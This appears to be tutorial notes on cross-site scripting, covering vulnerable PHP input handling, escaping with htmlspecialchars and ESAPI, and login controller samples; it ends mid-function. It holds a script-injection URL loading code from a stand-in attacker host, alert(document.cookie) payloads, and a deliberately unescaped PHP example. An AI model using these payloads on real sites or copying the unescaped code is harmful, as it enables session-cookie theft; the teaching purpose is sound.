**Cross Site Scripting:**

Cross-sight scripting is a vulnerability that is a potential threat to most Web servers and browsers. It is not a product specific attack. The attackers do not modify the data of the webpage they merely inserts new scripts that can be executed by a browser.

A website is vulnerable if certain conditions are met. First, the site has to accept and subsequently return the same input back to a user.

The most common example is when a user does a search and the Web server returns the same data the user typed in. As an example, a user does a search for “Laptop” and the browser returns a message of, “Your search for Laptop returned the following.” The second condition is met if the site reads user input and sends it back to the browser without being filtered. Certain types of attacks also require that the Web server allows the submission of cross-domain form submission.

Need to take care for HTML tags as they can affect the web page or introduce a program that will executed by the browser.

**Example 1:**

If a user has an account on a Web site, the URL that the user sees may appear as something similar to the following:

http:// TEAMB/site/login/username=Manish

The attacker’s modified URL could be modified as follows:

http://TEAMB/site/login/username=<scriptsrc=http://www.hackersite.com/malicious-script.js>

**Example 2:**

<?php

if(isset($\_GET['first\_name'])) {

if(strlen($\_GET['first\_name']) > 8) {

echo "Error: $\_GET['first\_name'] must be fewer than 8 characters";

}

else

//process the name

}

?>

<form action="get">

First name: <input type="text" name="first\_name" /><br />

<input type="submit" value="Submit" />

</form>

Since this not do any output filtering on the GET parameter, it is vulnerable to cross site scripting. If I put in, for example, the following information as my first name, I would generate a pop up with my own session cookie:

<SCRIPT>alert(document.cookie)</SCRIPT>

Furthermore, since the parameter is passed via GET, it will be placed in the URL directly by the application, making it trivial to exploit. An attacker could create a URL which contains the attack directly:

<a href="http://www.safesite.com/myFirstName?first\_name=<SCRIPT>alert(document.cookie)</SCRIPT>">This is a great site</a>

Forms are the most common attack surface, although there are many user controlled fields which can be modified by a dedicated attacker to create an XSS vulnerability.

**Possible XSS Vulnerablities:**

Make note of pages which use, or might use, one of the following:

* HTTP referrer
* Window.location in Javascript
* Document.referrer (Javascript)
* Document. Location (Javascript)
* document.URLUnencoded
* Browser headers
* information stored in a cookie

Each of these can be modified in some way by a user, so is untrusted.

**Preventing XSS**

Preventing XSS is an arduous job - all the values found via the above method must be checked for XSS attack vectors, which come in many forms. For instance, the same XSS code may come in a dozen different forms, based on how it is encoded and special characters placed inside.

* If the data is never output to a user's browser, then it cannot be used in an XSS attack. Be careful relying on this method, as other attacks, such as HTTP Response Header Splitting or SQL Injection attacks use similar untrusted data sources to perform other types of attacks.
* The best defence is to escape all user input. The level of escaping and how it should be implemented will be dependent on the specific site requirements. For instance, some sites wish to allow users to add some HTML tags, while others have no need of such functionality, and can more aggressively scan.
* For In-URL type attacks, input should be escaped on the server side, in server code. Some common functions in PHP to escape strings related to XSS attack vectors (Should be used on both user input, and before outputting to the page):
* Htmlspecialchars - converts HTML characters to non-executing types
* For In-Body type attacks, there is not a fully comprehensive solution. Some options include using the ESAPI escape library like so:

ESAPI.encoder().encodeForJavaScript(user\_input);

This library can also be used to escape CSS in a similar way.

Example 1: From Abstract Controller:

protected function getInput($inputField) {

if (!isset($this->inputs[$inputField])) {

return null;

}

$input = trim($this->inputs[$inputField]);

return $this->sanitise($input);

}

private function sanitise($input) {

return htmlspecialchars($input, ENT\_QUOTES);

}

Example 2: From login controller:

if ($isPostback) {

$email=$this->getInput('email'); // Now XSS safe

$password=$this->getInput('password');

if ($user->isValidLogin($this->getContext()->getDB(),$email, $password)) {

$user->login($email, $password);

$this->redirectTo('admin/categories','Welcome '.$user->getName());

return null;

} else {

$comment='Your credentials were rejected, please try again';

}

}

From user.php file:

public static function isValidLogin($db, $email, $password) {

if ($email===null || $password===null || $email==='' || $password==='') {

sleep (1);

return false;

}

/\* Adding a sleep of one second to invalid logins massively increases the cost to attackers of a brute force password attack with minimal inconvenience to genuine users. \*/

$email=$db->escape($email); // protect against SQL injection!;

$sql="select userID, pwCheck from users where email='$email'";

$result=$db->query($sql);

if (count($result)!==1) {

sleep (1);

return false;

}